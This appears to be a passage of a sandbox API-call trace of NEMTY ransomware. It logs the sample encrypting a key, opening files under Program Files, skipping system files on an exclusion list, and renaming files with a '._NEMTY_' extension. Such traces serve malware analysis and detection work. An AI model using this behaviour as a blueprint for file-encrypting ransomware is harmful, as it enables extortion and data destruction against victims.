hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0093.506] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94328 | out: hHeap=0x4f90000) returned 1 [0093.506] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0093.506] Sleep (dwMilliseconds=0x5) [0093.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb6397d0, dwHighDateTime=0x1d561e7)) [0093.520] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb6397d0, dwHighDateTime=0x1d561e7)) [0093.520] GetLastError () returned 0x5 [0093.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.520] GetLastError () returned 0x5 [0093.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0093.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.520] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0093.520] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0093.520] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0093.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0093.520] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: pszString="pC0TyyEmreba6iNv0wjXY5GqmLgWaHhXGCSseEQxR8bo8LOR1CRG/+vd3Oe0W6Si\r\nj8sCdXOF30taYjCDUPwDxx5BN6pk5x4l9ane4Qy5FHg/XdQC8DAYYVxk10Rs6kBj\r\ns5ZLSYufZOCaFHbvnxYoM8i4IssKeT4hGXsEc9FqJn97HaPqssPFHW/xMOT1J1q6\r\nsEZDjETn+4tnMOu0i9mtW8MZIpvkRhjZnE1saKuMMRQFTegVxiKS/e3Z3UgdQoDc\r\nJqVxFKbmTWRGeKC6uwx/ozDWbuxGISZ6O3tAicgLe6KVJeXnXi0+M+sElO/bE00Z\r\nUmWHgd4r8WIZe4cKpTEyAQ==\r\n", pcchString=0x653e91c) returned 1 [0093.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0093.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.520] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.520] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0093.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0093.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0093.523] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0093.523] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0093.523] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634dc48 [0093.524] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.524] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.533] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.533] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.533] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.543] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.543] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.543] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.553] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.553] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.553] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.562] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.572] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.572] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.572] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.581] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.581] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.581] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.591] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.591] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.591] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.601] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.601] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.601] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.610] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.610] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.610] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.620] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.620] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.620] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.626] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.626] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.626] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634dc48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0093.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634dc48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.632] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0093.632] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340048, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0093.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634dc48 | out: hHeap=0x4f90000) returned 1 [0093.632] CloseHandle (hObject=0xffffffff) returned 0 [0093.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0093.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0093.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0093.632] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0093.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0093.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0093.632] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0093.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0093.632] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0093.633] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\button-bullet.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\button-bullet.png._nemty_kgobjgd_")) returned 0 [0093.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0093.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0093.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0093.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0093.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0093.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0093.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0093.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0093.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0093.633] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.633] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x726b5d16, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x726b5d16, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x553e929b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0xf, dwReserved1=0x4f90000, cFileName="button-highlight.png", cAlternateFileName="")) returned 1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2=".") returned 1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="..") returned 1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="...") returned 1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="windows") returned -1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="$RECYCLE.BIN") returned 1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="rsa") returned -1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="NTDETECT.COM") returned -1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntldr") returned -1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="MSDOS.SYS") returned -1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="IO.SYS") returned -1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="boot.ini") returned 1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="boot.ini") returned 1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="AUTOEXEC.BAT") returned 1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="ntuser.dat") returned -1 [0093.633] lstrcmpiW (lpString1="button-highlight.png", lpString2="desktop.ini") returned -1 [0093.634] lstrcmpiW (lpString1="button-highlight.png", lpString2="CONFIG.SYS") returned -1 [0093.634] lstrcmpiW (lpString1="button-highlight.png", lpString2="RECYCLER") returned -1 [0093.634] lstrcmpiW (lpString1="button-highlight.png", lpString2="BOOTSECT.BAK") returned 1 [0093.634] lstrcmpiW (lpString1="button-highlight.png", lpString2="bootmgr") returned 1 [0093.634] lstrcmpiW (lpString1="button-highlight.png", lpString2="programdata") returned -1 [0093.634] lstrcmpiW (lpString1="button-highlight.png", lpString2="appdata") returned 1 [0093.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0093.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0093.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0093.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0093.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0093.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0093.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0093.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0093.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0093.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ecb8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0093.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0093.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0093.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0093.634] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="button-highlight.png", cchWideChar=20, lpMultiByteStr=0x4f9ed58, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="button-highlight.png", lpUsedDefaultChar=0x0) returned 20 [0093.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0093.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0093.634] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0093.634] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0093.634] Sleep (dwMilliseconds=0x5) [0093.644] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb76a2d0, dwHighDateTime=0x1d561e7)) [0093.645] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xeb76a2d0, dwHighDateTime=0x1d561e7)) [0093.645] GetLastError () returned 0x5 [0093.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0093.645] GetLastError () returned 0x5 [0093.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0093.645] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0093.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0093.645] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0093.645] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0093.645] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0093.645] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0093.645] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e91c | out: 